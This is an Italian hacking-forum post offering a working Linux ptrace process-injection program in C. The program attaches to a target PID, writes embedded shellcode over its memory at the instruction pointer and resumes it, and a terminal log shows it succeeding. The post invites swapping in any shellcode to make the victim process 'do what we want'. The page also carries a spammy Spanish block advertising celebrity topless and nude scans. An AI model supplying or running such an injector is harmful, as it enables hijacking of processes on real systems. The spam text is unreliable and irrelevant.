ALLmania [computer grafica musica moda P2P emule dc++ hacker msn rubare password hard xxx hentai porno sesso culo fica pompino]

Reply
ptrace injector [only for sick mind], only linux
view post Posted on 22/1/2009, 16:20Quote

Advanced Member

Group: Member
Posts: 66


Status: Offline: ultima azione eseguita il 16/2/2009, 00:12


un classico, iniezione di un codice nella memoria di un processo,

lo shellcode(il codice) lo prende dall'interno del codice stesso ma con poche modifiche si puo modificare come volete è solo un esempio.
penso che il codice comunque possa essere migliorato un po.....
have fun ^^

con shellcode appropriati si puo far in modo che il programma attaccato faccia cio che vogliamo
CODE
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/user.h>
#include <string.h>

//qui è presente il codice che compilato andremo a inserire nella memoria
//del processo attacato

asm(
       "start:n"
       "nopn"
       //scrivete quello che volete        
       "movl        $1,%eaxn"
       "movl        $123,%ebxn"
       "int        $0x80n"
       //shellcode end
       "end:n"
       "nopn"
);
//ritorna un puntatore alla prima istruzione dello shellcode
char *getP(void){
       asm("movl        $start,%eaxn");
}
//ritorna la dimensione dello shellcode
int getS(void){
       asm("movl        $(end-start),%eaxn");
}


int main(int ar, char** av)
{
       if (ar != 2){
               printf("[-] %­s <pid>n", av[0]);
               exit(0);
       }
       pid_t        pid;
       int        status, i, pl;
       struct        user_regs_struct regs;
       char        s[1024];


       //prendiamo il pid del processo che andremo ad attacare
       if (sscanf(av[1], "%d", &pid) != 1){
               printf("[-] I cant use pid=%­sn", av[1]);
               exit(1);
       }
       //settiamo a 0 il vettore s e scriviamo lo shellcode
       memset(s, 0x00, 1024);
       memcpy(s, getP(), getS());

       if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0){
               perror ("[-] ATTACH: ");
               exit(3);
       }
       printf("[+] ptrace attachn");
       wait(&status);

       //get the register
       if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) < 0){
               perror("[-] GETREGS: ");
               exit(4);
       }
       printf("[+] ptrace getregsn");
       printf("[!] Shellcode = 0x");

       for(i=0; i < getS(); i += 4){
               memcpy(&pl, s+i, 4);
               printf("%­x", pl);

               //insert the shellcode into the memory
               if (ptrace(PTRACE_POKEDATA, pid, regs.eip + i, pl) < 0){
                       perror("POKETDATA:");
                       ptrace(PTRACE_DETACH, pid, NULL, NULL);
                       exit(2);
               }
       }

       if (ptrace(PTRACE_SETREGS, pid, NULL, &regs) < 0){
               perror("[-] SETREGS: ");
               exit(5);
       }
       printf("n[+] setregsn");
       ptrace (PTRACE_CONT, pid, NULL, NULL);
       ptrace (PTRACE_DETACH, pid, NULL, NULL);

}


QUOTE
alex ~/pro/c> ./loop&
[2] 4094
alex ~/pro/c> ./ptrac 4094
[+] ptrace attach
[+] ptrace getregs
[!] Shellcode = 0x1b8907bbb0000cd00000080
[+] setregs
alex ~/pro/c>
[2]+ Exit 123 ./loop

 
P_MSG P_EMAIL Top
0 replies since 22/1/2009, 16:20
 

load
Fast reply

 
 
 

Enable emoticons
Clickable Smilies
Show All


Nickname:      Email:



 

 
 




<>lunes 15 enero, Lorena Sánchez, en Intervíu. Gemma GH VIII topless en Interviú.Scans de Natalia Estrada, Veronica Hidalgo, Carmen Russo...en Interviú, Making off Saray en Interviú. Calendario 2006, en Interviú. Recopilación videos de Natalia, Making Off de Laura y Ainhoa en Sie7e.Videos Hard de Lucía Lapiedra, Lucía Lapiedra primera foto Hard...Los scans de Silvia Pantoja, el semi strip de Nuria Bermúdez en CM, Sonia GH y Malena en TNT... Los Scans de Marlene Morreau y Beth O.T en Interviú y Natalia en Maxim, gracias a Maverick, Sepe y Vfire.María Adánez pillada en topless. Los Scans de Judith, gracias a Charlee.3 Striptease de Anastacia Mayo, gracias a Stylus y Javijau.Los scans de Sonia GH IV en Interivú, gracias a Maverick y capturas del making off de Sonia en tanga, gracias a El_Perro. Natalia en el Festival de Benidrom, gracias a todos.Los scans de Laura GH y Ainhoa, gracias a Maverick, Belén Esteban en Interviú, gracias a Maverick. Maxim, DT, FHM aquí, gracias a todos.Quintero entrevistando a Susana Reche en topless y de regalo un strip :)) A Silvia Fonimaya se le escapó una teta en CM, buscadlo :)Malena Gracias y un nuevo descuido de Carnivoro. Ruth Arteaga impresionante en el Un dos Tres, gracias a Carnivoro.Sonia Ferrer en Dt gracias a Maverick.Maria GH gracias a Dyamon y Maverick.Espectaculares scans y poster de Remedios Cervantes por Thedell y Maverick.Dos versiones de scans de Marta GH, en interviu de Thedell y Hume.El último striptease de Susana Reche del verano, aquí, gracias a Neomid. Casi todos los scans de Interviu de este año los tenemos. Fotos de Sonia GH en bikini. Excepcional, 9 videos de Striptease completos de Chiqui Martí, gracias a Tofu, recopilación de videos de Tortu, las mejores capturas de la semana..y mucho más...Video de las azafatas de CM en playboy. Video topless de Erika UPA, de Tortu. Descuidos de Meche en CM. Primeros scans de Miriam Díaz Aroca en Interviu, gracias a Radam.Las primeras capturas de Cristie O.T de su videoclip. Aquí el video de Paulina Rubio transparencia de fin de año y de otro de Miami Sound Machine,gracias a mi esta vez :)).Geno y Vero en Topless!!,5 capturas y un video gracias a Tortu y Fuica!!!!El video de Judith GH (transparencia) en el yakusi!! El reportaje completo de Carolina GH en interviú aquí!! gracias a Golfo_Apandador.. 17 Capturas Carolina GH en Tómbola, Toda la actualidad del cine, análisis y lanzamientos de DVD,actualizado a diario.<


>Skin designed by ©Zeus00 of the IF Skin Zone adapted for ForumFree by iLLusion'